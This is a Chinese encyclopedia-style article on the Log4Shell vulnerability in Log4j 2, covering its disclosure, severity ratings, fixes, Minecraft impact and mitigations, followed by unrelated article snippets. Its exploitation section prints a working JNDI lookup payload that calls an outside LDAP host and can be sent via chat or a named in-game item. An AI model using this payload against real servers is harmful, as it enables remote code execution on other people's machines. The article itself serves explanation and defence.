Share to: share facebook share twitter share wa share telegram print page

Log4Shell

Log4Shell指Log4j 2.0（Log4J2）的一个零日远程代码执行漏洞，公共漏洞和暴露编号（CVE）为CVE-2021-44228 （页面存档备份，存于互联网档案馆）[1]。被定性为“过去十年来最大、最关键的漏洞”

事件经过

阿里巴巴集团于2021年11月24日发现并报告给 Apache ，并于12月9日在推文中发布了一个涉及 Log4j 2 中远程代码执行的零日漏洞，其描述符为“Log4Shell”[1]，受影响的服务包括Cloudflare、iCloud、我的世界：Java版、 Steam、腾讯QQ和推特。 Apache软件基金会分配了最大CVSS Log4Shell 的严重等级为10，因为数百万台服务器可能容易受到该漏洞的攻击。网络安全公司Tenable（英语：Tenable, Inc.）将该漏洞描述为“过去十年中最大、最关键的漏洞” ，Lunasec 的 Free Wortley 将其描述为“灾难性的设计失败”。

在美国，网络安全和基础设施安全局主任Jen Easterly（英语：Jen Easterly）称该漏洞利用“至关重要”，并建议供应商优先考虑软件更新，和德国机构联邦信息安全办公室（BSI）将该漏洞指定为处于最高威胁级别，称其为“极其严重的威胁情况”。加拿大网络安全中心（英语：Canadian Centre for Cyber Security）呼吁各组织立即采取行动。

可以通过配置设置禁用导致漏洞的功能，该设置已在 Log4j 版本 2.15.0-rc1（2021年12月6日正式发布，漏洞发布前三天）中删除 ，并替换为各种设置限制远程查找，从而减轻漏洞。为提高安全性，此漏洞所基于的所有使用JNDI的功能将默认禁用，并且从版本 2.16.0 开始删除对消息查找的支持。

官方的Minecraft：Java 版启动器已修补此漏洞。使用自定义启动器或自定义 Java 版本可能意味着客户端尚未打补丁。在没有修补此漏洞的服务器上玩游戏将允许服务器上的任何玩家在另一个客户端的计算机上执行潜在的恶意代码。在 1.18.1 以上的版本上玩单人游戏或多人游戏将防止此漏洞。低于 1.7 的版本不受影响。如果游戏服务器主机运行的是 Minecraft 1.7-1.18 版本，则必须专门修补其服务器，如果不这样做，任何玩家都可以使用此漏洞。

利用方法

在一个没有修复该漏洞的Minecraft多人游戏服务器（如Minecraft1.12.2）通过聊天框发送该信息，示例如下： 

${jndi:ldap://wikipedia.org}

其中“wikipedia.org”可替换为攻击者的恶意网站[2]，例如DNSLog[2]，发送后攻击者客户端也会卡死崩溃，输出为： 

ReadTimeoutException : null

攻击者也可以将剑命名为该信息杀死人来触发该漏洞（在部分多人服务器被称为崩服剑）。

防范方法

  • 在服务器上打补丁或者更新相应组件
  • 在服务器上安装聊天过滤插件禁止用户发送此类消息（通常禁止用户发送第一个字符为“$”的消息）来达到防范目的
  • 使用JVM参数关闭该功能[3][4]：
    -Dlog4j2.formatMsgNoLookups=true

参考资料

  1. ^ 1.0 1.1 CVE - CVE-2021-44228. cve.mitre.org. [2022-11-23]. （原始内容存档于2022-05-30）. 
  2. ^ 2.0 2.1 DNSLog DNSLog. DNSLog. [2023-01-21]. （原始内容存档于2022-12-17） （英语）. 
  3. ^ SpringCloud项目的log4j2漏洞解决方案详解流程-Finclip. www.finclip.com. [2022-11-24]. （原始内容存档于2022-11-24）. 
  4. ^ 核弹级漏洞log4shell席卷全球！危及苹果腾讯百度网易，修改iPhone名称就可触发 | 量子位. [2022-11-24]. （原始内容存档于2022-11-24） （中文（中国大陆））. 

Read other articles:

Mind Your Manners (пісня Pearl Jam)

Mind Your Manners Сингл Pearl JamВипущений 11 липня 2013Жанр панк-рокЛейбл Monkeywrench RecordsdПродюсер Брендан О'БраєнdХронологія синглів Попередній Olé(2011) Sirens(2013) Наступний Музичне відео «Mind Your Manners (пісня Pearl Jam)» на YouTube «Mind Your Manners» — пісня американського рок-гурту Pearl Jam, перший сингл з...

 

Пасєка (острів)

Пасєкапол. Pasiekaнім. Pascheke Географія 50°39′50″ пн. ш. 17°55′10″ сх. д. / 50.66389° пн. ш. 17.91944° сх. д. / 50.66389; 17.91944Координати: 50°39′50″ пн. ш. 17°55′10″ сх. д. / 50.66389° пн. ш. 17.91944° сх. д. / 50.66389; 17.91944Місцерозташування ОдраАквато�...

 

Середня вага в боксі

Середня вага (англ. middleweight) — вагова категорія у боксі. Виступають боксери до 72,6 кг.(160 фунтів). Зміст 1 Чемпіони 2 Рейтинги 2.1 The Ring 2.2 BoxRec 3 Найдовші чемпіонські терміни 4 Олімпійські чемпіони 5 Див. також 6 Примітки Чемпіони Чоловіки Організація Дата здобуття Чемпіон Рекорд З�...

Manuelita (film)

1999 film ManuelitaSpanish posterDirected byManuel García FerréWritten byManuel García Ferré (writer)María Elena Walsh (story)Produced byCarlos Mentasti. Diana CordobaStarringRosario Sánchez AlmadaPelusa SueroEnrique ConlazoMiguel EstebanCecilia GispertSusana SistoEdited byLuis BussoMusic byNéstor D'AlessandroRoberto LarMaría Elena WalshProductioncompaniesProducciones García FerréTelefeDistributed byColumbia TriStar Films de ArgentinaRelease date 8 July 1999 (1999-07-...

 

Procuraduría para la Defensa de los Derechos Humanos (El Salvador)

Procuraduría para la Defensa de los Derechos Humanos Logo institucional LocalizaciónPaís El SalvadorInformación generalJurisdicción El Salvador El SalvadorSede San SalvadorOrganizaciónDirección Lic. José Apolonio Tobar (Procurador para la Defensa de los Derechos Humanos)HistoriaFundación 1992pddh.gob.sv[editar datos en Wikidata] La Procuraduría para la Defensa de los Derechos Humanos, según la ley respectiva que rige la entidad estatal, es una institución integrante...

 

Pygmy mammoth

Species of mammoth Pygmy mammothTemporal range: Late Pleistocene to Early Holocene, 0.06–0.011 Ma PreꞒ Ꞓ O S D C P T J K Pg N ↓ Skeleton at the Santa Barbara Museum of Natural History Model of a pygmy mammoth (front) at the Cleveland Museum of Natural History Scientific classification Domain: Eukaryota Kingdom: Animalia Phylum: Chordata Class: Mammalia Order: Proboscidea Family: Elephantidae Genus: †Mammuthus Species: †M. exilis Binomial name †Mammuthus exi...

Endless Love (seri televisi 2019)

Artikel ini sebatang kara, artinya tidak ada artikel lain yang memiliki pranala balik ke halaman ini.Bantulah menambah pranala ke artikel ini dari artikel yang berhubungan atau coba peralatan pencari pranala.Tag ini diberikan pada Desember 2022. Endless LoveThaiEndless Love – รักหมดใจ GenreRomansaDramaPembuatGMMTVBerdasarkanEndless Love(seri televisi Taiwan 2010)SutradaraEkkasit TrakulkasemsukPemeranThanat LowkhunsombatViolette WautierNegara asalThailandBahasa asliThaiJmlh. ...

 

Beatrix Waring McCay

Beatrix Waring McCay, Lady ReidPortrait of Beatrix McCay by Douglas Baulch, 1967Born8 January 1901[1]Castlemaine, VictoriaDied(1972-06-17)17 June 1972Canterbury, Victoria, AustraliaNationalityAustralianEducationMaster of Law, Melbourne University Law SchoolOccupation(s)Solicitor, Barrister, MagistrateSpouse Sir George Oswald Reid ​ ​(m. 1930)​Children1 girlParent(s)Lieutenant-General James Whiteside McCay and Julia Mary O'Meara Beatrix Waring McCay, ...

 

Aurora (Nico Touches the Walls album)

This article does not cite any sources. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.Find sources: Aurora Nico Touches the Walls album – news · newspapers · books · scholar · JSTOR (April 2019) (Learn how and when to remove this template message) 2009 studio album by Nico Touches the WallsAuroraStudio album by Nico Touches the WallsReleasedNovember 25, ...

Christof Stählin

Christof Stählin und sein Instrument, die Vihuela Christof Stählin (* 18. Juni 1942 in Rothenburg ob der Tauber; † 9. September 2015 in Hechingen[1]) war ein deutscher Schriftsteller, Liedermacher und Kabarettist. Inhaltsverzeichnis 1 Leben und Wirken 2 Zitate 3 Kabarettprogramme 4 Werke 5 Auszeichnungen 6 Literatur 7 Weblinks 8 Einzelnachweise Leben und Wirken Christof Stählin 1975 am Folkfestival Lenzburg (Schweiz) Christof Stählin war ein Sohn des Pfarrers und Theologen Rudol...

 

Odessa Historic District

Historic district in Delaware, United States Not to be confused with Historic Centre of Odesa. United States historic placeOdessa Historic DistrictU.S. National Register of Historic PlacesU.S. Historic district Houses on High Street in 1958Show map of DelawareShow map of the United StatesLocationBounded roughly by Appoquinimink Creek on the southeast, High St. on the northeast, 4th St. on the northwest, and Main St. on the southwest, Odessa, DelawareCoordinates39°27′14″N 75°39′23″W&...

 

Amanuensis

Person employed to write or type what another dictates or to copy what has been written by another Andrew Taylor Still with Annie Morris, who was his amanuensis, and who is at a typewriter An amanuensis (/əˌmænjuˈɛnsɪs/) is a person employed to write or type what another dictates or to copy what has been written by another, and also refers to a person who signs a document on behalf of another under the latter's authority.[1] Etymology From Latin āmanuēnsis (“secretary”), f...

يوديد الصوديوم

يوديد الصوديوم يوديد الصوديوم الاسم النظامي (IUPAC) يوديد صوديوم المعرفات رقم CAS 7681-82-5 بوب كيم 5238  مواصفات الإدخال النصي المبسط للجزيئات [Na+].[I-][1]  المعرف الكيميائي الدولي InChI=1S/HI.Na/h1H;/q;+1/p-1[1]  InChIKey:FVAUCKIRQBBSSJ-UHFFFAOYSA-M[1][2]  الخواص الصيغة الجزيئية NaI الكتلة ال�...

 

Inside Dave Van Ronk

1964 studio album by Dave Van RonkInside Dave Van RonkStudio album by Dave Van RonkReleasedOctober 1964RecordedApril 1962GenreFolkLength35:35LabelPrestige/FolkloreProducerSamuel ChartersDave Van Ronk chronology Dave Van Ronk and the Ragtime Jug Stompers(1964) Inside Dave Van Ronk(1964) Just Dave Van Ronk(1964) Professional ratingsReview scoresSourceRatingThe Penguin Guide to Blues Recordings[1] Inside Dave Van Ronk is a 1964 album by American folksinger Dave Van Ronk. Inside D...

 

广州交通电台

  提示：此条目的主题不是羊城交通广播电台。 此條目體裁可能更适合散文而非列表。 (2019年6月10日)如果合适请协助将此条目改写为散文。查看编辑帮助。 广州交通电台广州应急广播通稱广州广播电视台经济交通广播所屬國家 中国總部所在 中国广东省广州市越秀区环市中路231号广州广播大厦播放地區 中国广东省广州市及周边地区開播日期2001年12月1日類�...

Elang ikan Madagaskar

Elang ikan Madagaskar Haliaeetus vociferoides Dua di Danau Ravelobe, Taman Nasional AnkarafantsikaStatus konservasiTerancam kritisIUCN22695121 TaksonomiKerajaanAnimaliaFilumChordataKelasAvesOrdoAccipitriformesFamiliAccipitridaeGenusHaliaeetusSpesiesHaliaeetus vociferoides Des Murs, 1845 DistribusiRange EndemikMadagaskar lbs Elang ikan Madagaskar (Haliaeetus vociferoides) adalah burung pemangsa besar dalam keluarga Accipitridae yang juga termasuk banyak raptor diurnal lainnya seperti layang-la...

 

Anatomie de la barrière hémato-encéphalique

Article principal : Barrière hémato-encéphalique. Le rôle de la barrière hémato-encéphalique est d'isoler le cerveau des substances indésirables qui peuvent se trouver dans la circulation sanguine, tout en permettant le passage de nutriments indispensables au fonctionnement du cerveau (20 % du métabolisme général de l'organisme), ainsi que l'évacuation des déchets produits par ce fonctionnement. Par conséquent, une attention toute particulière est portée, dans l'anat...

 

Anti-Normanism

Historical revisionist theory Normanism and Normanist theory redirect here. For for other uses, see Norman. Ethnic groups in Eastern Europe in the late 9th-century and early 10th-century. Green represents Slavic tribes, orange represents Baltic tribes, and yellow represents Finno-Ugric tribes. The approximate extent of Old Norse and related languages in the early 10th century:   Old West Norse dialect   Old East Norse dialect   Old Gutnish dialect   Old...

Zmievskaya Balka

Russian site of Holocaust massacre 47°14′44″N 39°39′06″E / 47.2456°N 39.6517°E / 47.2456; 39.6517 Zmievskaya Balka Memorial Complex Zmievskaya Balka (Russian: Змиёвская балка, IPA: [zmʲɪˈjɵfskəjə ˈbaɫkə]), Zmiyovskaya Balka is a site in Rostov-on-Don, Russia at which 27,000 Jews and Soviet civilians were massacred in 1942 to 1943 by the SS Einsatzgruppe D during the Holocaust in Russia. It is considered to be the largest s...

 

علموني الحب (فيلم)

علموني الحبإعلان عن الفيلممعلومات عامةالصنف الفني غنائيتاريخ الصدور 14 أكتوبر 1957 اللغة الأصلية العربيةالعرض أبيض وأسود البلد  مصرالطاقمالقصة أمين يوسف غرابالحوار يوسف عيسىالسيناريو يوسف عيسىالبطولة  القائمة ... سعد عبد الوهاب إيمان أحمد رمزي عبد السلام النابلسي كري...

 
Kembali kehalaman sebelumnya